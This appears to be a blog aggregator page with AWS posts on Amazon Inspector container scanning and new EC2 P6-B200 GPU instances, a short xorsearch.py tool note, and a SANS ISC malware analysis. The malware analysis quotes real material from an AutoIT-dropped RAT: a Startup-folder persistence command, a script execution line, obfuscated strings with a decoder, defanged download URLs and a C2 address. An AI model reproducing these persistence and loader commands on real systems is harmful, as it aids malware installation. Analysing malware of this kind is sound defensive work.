In the Amazon Inspector console, I navigate to General settings and select ECR scanning settings from the navigation panel. Here, I can configure the new Image re-scan mode settings by choosing between Last in-use date and Last pull date. I leave it as it is by default with Last in-use date and set the Image last in use date to 14 days. These settings make it so that Inspector monitors my images based on when they were running in the last 14 days in my Amazon ECS or Amazon EKS environments. After applying these settings, Amazon Inspector starts tracking information about images running on containers and incorporating it into vulnerability findings, helping me focus on images actively running in containers in my environment.

After it’s configured, I can view information about images running on containers in the Details menu, where I can see last in-use and pull dates, along with EKS pods or ECS tasks count.

When selecting the number of Deployed ECS Tasks/EKS Pods, I can see the cluster ARN, last use dates, and Type for each image.

For cross-account visibility demonstration, I have a repository with EKS pods deployed in two accounts. In the Resources coverage menu, I navigate to Container repositories, select my repository name and choose the Image tag. As before, I can see the number of deployed EKS pods/ECS tasks.

When I select the number of deployed EKS pods/ECS tasks, I can see that it is running in a different account.

In the Findings menu, I can review any vulnerabilities, and by selecting one, I can find the Last in use date and Deployed ECS Tasks/EKS Pods involved in the vulnerability under Resource affected data, helping me prioritize remediation based on actual usage.

In the All Findings menu, you can now search for vulnerabilities within account management, using filters such as Account ID, Image in use count and Image last in use at.

Key features and considerations
Monitoring based on container image lifecycle – Amazon Inspector now determines image activity based on: image push date ranging duration 14, 30, 60, 90, or 180 days or lifetime, image pull date from 14, 30, 60, 90, or 180 days, stopped duration from never to 14, 30, 60, 90, or 180 days and status of image running on the container. This flexibility lets organizations tailor their monitoring strategy based on actual container image usage rather than only repository events. For Amazon EKS and Amazon ECS workloads, last in use, push and pull duration are set to 14 days, which is now the default for new customers.

Image runtime-aware finding details – To help prioritize remediation efforts, each finding in Amazon Inspector now includes the lastInUseAt date and InUseCount, indicating when an image was last running on the containers and the number of deployed EKS pods/ ECS tasks currently using it. Amazon Inspector monitors both Amazon ECR last pull date data and images running on Amazon ECS tasks or Amazon EKS pods container data for all accounts, updating this information at least once daily. Amazon Inspector integrates these details into all findings reports and seamlessly works with Amazon EventBridge. You can filter findings based on the lastInUseAt field using rolling window or fixed range options, and you can filter images based on their last running date within the last 14, 30, 60, or 90 days.

Comprehensive security coverage – Amazon Inspector now provides unified vulnerability assessments for both traditional Linux distributions and minimal base images including scratch, distroless, and Chainguard images through a single service. This extended coverage eliminates the need for multiple scanning solutions while maintaining robust security practices across your entire container ecosystem, from traditional distributions to highly optimized container environments. The service streamlines security operations by providing comprehensive vulnerability management through a centralized platform, enabling efficient assessment of all container types.

Enhanced cross-account visibility – Security management across single accounts, cross-account setups, and AWS Organizations is now supported through delegated administrator capabilities. Amazon Inspector shares images running on container information within the same organization, which is particularly valuable for accounts maintaining golden image repositories. Amazon Inspector provides all ARNs for Amazon EKS and Amazon ECS clusters where images are running, if the resource belongs to the account with an API, providing comprehensive visibility across multiple AWS accounts. The system updates deployed EKS pods or ECS tasks information at least one time daily and automatically maintains accuracy as accounts join or leave the organization.

Availability and pricing – The new container mapping capabilities are available now in all AWS Regions where Amazon Inspector is offered at no additional cost. To get started, visit the AWS Inspector documentation. For pricing details and Regional availability, refer to the AWS Inspector pricing page.

PS: Writing a blog post at AWS is always a team effort, even when you see only one name under the post title. In this case, I want to thank Nirali Desai, for her generous help with technical guidance, and expertise, which made this overview possible and comprehensive.

— Eli

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)

Security

RAT Dropped By Two Layers of AutoIT Code, (Mon, May 19th)

Leave a comment
This post was originally published on this site

Like .Net, AutoIT[1] remains a popular language for years in the malware ecosystem. It's a simple language that can interact with all the components of the Windows operating system. I regularly discover AutoIT3 binaries (yes, it can be compiled). This weekend, I found a malware delivered through a double layer of AutoIT code!

The initial file is an executable called "1. Project & Profit.exe" (SHA256:b5fbae9376db12a3fcbc99e83ccad97c87fb9e23370152d1452768a3676f5aeb). This is an AutoIT compiled script. Once decompiled, the code is simple and contains interesting strings:

Global $VY9A = "hxxps://xcvbsfq32e42313[.]xyz/OLpixJTrO"
Global $ZX2B = "C:UsersPublicGuard.exe"
Global $FW3N = "C:UsersPublicPublicProfile.ps1"
$fU5L = ""hxxps://xcvbsfq32e42313[.]xyz/hYlXpuF.txt"""
$oF6L = ""C:UsersPublicSecure.au3

It's behaviour is simple: It will generate the PublicProfile.ps1 and execute it.

An AutoIT interpreter will be downloaded (and saved as "C:UsersPublicGuard.exe") as well as another piece of AutoIT script (the second layer)

Persistence is achieved via a simple .url file placed in the Startup directory:

cmd /k echo [InternetShortcut] > "C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupSwiftWrite.url" & echo URL="C:UsersadminAppDataLocalWordGenius TechnologiesSwiftWrite.js" >> "C:UsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartupSwiftWrite.url" & exit

The JavaScript script will re-execute the AutoIT interpreter ("SwiftWrite.pif") with its second script ("G"):

new ActiveXObject("Wscript.Shell").Run(""C:UsersREMAppDataLocalWordGenius TechnologiesSwiftWrite.pif" "C:UsersREMAppDataLocalWordGenius TechnologiesG"")

Let's have a look at "G", the second layer of AutoIT code. This script is pretty well obfuscated. All strings are encoded using the Wales() function. Example:

If (Execute(Wales("80]114]111]99]101]115]115]69]120]105]115]116]115]40]39]97]118]97]115]116]117]105]46]101]120]101]39]41",0/2))) ...

The Wales function is simple, here is a Python version to help to decode all strings:

remnux@remnux:/MalwareZoo/20250518$ python3
Python 3.8.10 (default, Jun 22 2022, 20:18:18) 
[GCC 9.4.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> def Wales(encoded: str, key: int) -> str:
...     parts = [p for p in encoded.split("]") if p]
...     decoded = ''.join(chr(int(num) - key) for num in parts)
...     return decoded
... 
>>> Wales("80]114]111]99]101]115]115]69]120]105]115]116]115]40]39]97]118]97]115]116]117]105]46]101]120]101]39]41",0)
"ProcessExists('avastui.exe')"

Finally, a "jsc.exe" process is spanwed and injected with the final malware as a DLL: Urshqbgpm.dll

I'm not sure about the final malware because it tried to connect to the C2 server 139[.]99[.]188[.]124 on port 56001. This one is associated to AsyncRAT.

But, in the DLL, we can find a lot of references to PureHVNC[2]:

[1] https://www.autoitscript.com/site/
[2] https://cyble.com/blog/pure-coder-offers-multiple-malware-for-sale-in-darkweb-forums/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler – Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Security

xorsearch.py: Python Functions, (Sat, May 17th)

Leave a comment
This post was originally published on this site

A couple years ago I published tool xorsearch.py for this diary entry: "Small Challenge: A Simple Word Maldoc – Part 4".

It could be used to search for XOR-encoded text:

This was a beta version, and its user interface was subject to change. The version I released recently is a rewrite, and option -t no longer exists.

To achieve a similar result with the new version of xorsearch.py, one uses now option -P (Python) and provides a Python function that filters out printable text: IsPrintable

Option -D can then be used to dump the decoded data with an extra newline:

Here too XOR encoding with key 0x6f reveals the hidden command.

 

Didier Stevens
Senior handler
blog.DidierStevens.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

AWS

New Amazon EC2 P6-B200 instances powered by NVIDIA Blackwell GPUs to accelerate AI innovations

Leave a comment
This post was originally published on this site

Today, we’re announcing the general availability of Amazon Elastic Compute Cloud (Amazon EC2) P6-B200 instances powered by NVIDIA B200 to address customer needs for high performance and scalability in artificial intelligence (AI), machine learning (ML), and high performance computing (HPC) applications.

Amazon EC2 P6-B200 instances accelerate a broad range of GPU-enabled workloads but are especially well-suited for large-scale distributed AI training and inferencing for foundation models (FMs) with reinforcement learning (RL) and distillation, multimodal training and inference, and HPC applications such as climate modeling, drug discovery, seismic analysis, and insurance risk modeling.

When combined with Elastic Fabric Adapter (EFAv4) networking, hyperscale clustering by EC2 UltraClusters, and advanced virtualization and security capabilities by AWS Nitro System, you can train and serve FMs with increased speed, scale, and security. These instances also deliver up to two times the performance for AI training (time to train) and inference (tokens/sec) compared to EC2 P5en instances.

You can accelerate time-to-market for training FMs and deliver faster inference throughput, which lowers inference cost and helps increase adoption of generative AI applications as well as increased processing performance for HPC applications.

EC2 P6-B200 instances specifications
New EC2 P6-B200 instances provide eight NVIDIA B200 GPUs with 1440 GB of high bandwidth GPU memory, 5th Generation Intel Xeon Scalable processors (Emerald Rapids), 2 TiB of system memory, and 30 TB of local NVMe storage.

Here are the specs for EC2 P6-B200 instances:

Instance size GPUs (NVIDIA B200) GPU
memory (GB)		 vCPUs GPU Peer to peer (GB/s) Instance storage (TB) Network bandwidth (Gbps) EBS bandwidth (Gbps)
P6-b200.48xlarge 8 1440 HBM3e 192 1800 8 x 3.84 NVMe SSD 8 x 400 100

These instances feature up to 125 percent improvement in GPU TFLOPs, 27 percent increase in GPU memory size, and 60 percent increase in GPU memory bandwidth compared to P5en instances.

P6-B200 instances in action
You can use P6-B200 instances in the US West (Oregon) AWS Region through EC2 Capacity Blocks for ML. To reserve your EC2 Capacity Blocks, choose Capacity Reservations on the Amazon EC2 console.

Select Purchase Capacity Blocks for ML and then choose your total capacity and specify how long you need the EC2 Capacity Block for p6-b200.48xlarge instances. The total number of days that you can reserve EC2 Capacity Blocks is 1-14 days, 21 days, 28 days, or multiples of 7 up to 182 days. You can choose your earliest start date for up to 8 weeks in advance.

Now, your EC2 Capacity Block will be scheduled successfully. The total price of an EC2 Capacity Block is charged up front, and the price doesn’t change after purchase. The payment will be billed to your account within 12 hours after you purchase the EC2 Capacity Blocks. To learn more, visit Capacity Blocks for ML in the Amazon EC2 User Guide.

When launching P6-B200 instances, you can use AWS Deep Learning AMIs (DLAMI) to support EC2 P6-B200 instances. DLAMI provides ML practitioners and researchers with the infrastructure and tools to quickly build scalable, secure, distributed ML applications in preconfigured environments.

To run instances, you can use AWS Management Console, AWS Command Line Interface (AWS CLI) or AWS SDKs.

You can integrate EC2 P6-B200 instances seamlessly with various AWS managed services such as Amazon Elastic Kubernetes Services (Amazon EKS), Amazon Simple Storage Service (Amazon S3), and Amazon FSx for Lustre. Support for Amazon SageMaker HyperPod is also coming soon.

Now available
Amazon EC2 P6-B200 instances are available today in the US West (Oregon) Region and can be purchased as EC2 Capacity blocks for ML.

Give Amazon EC2 P6-B200 instances a try in the Amazon EC2 console. To learn more, refer to the Amazon EC2 P6 instance page and send feedback to AWS re:Post for EC2 or through your usual AWS Support contacts.

— Channy

How is the News Blog doing? Take this 1 minute survey!

(This survey is hosted by an external company. AWS handles your information as described in the AWS Privacy Notice. AWS will own the data gathered via this survey and will not share the information collected with survey respondents.)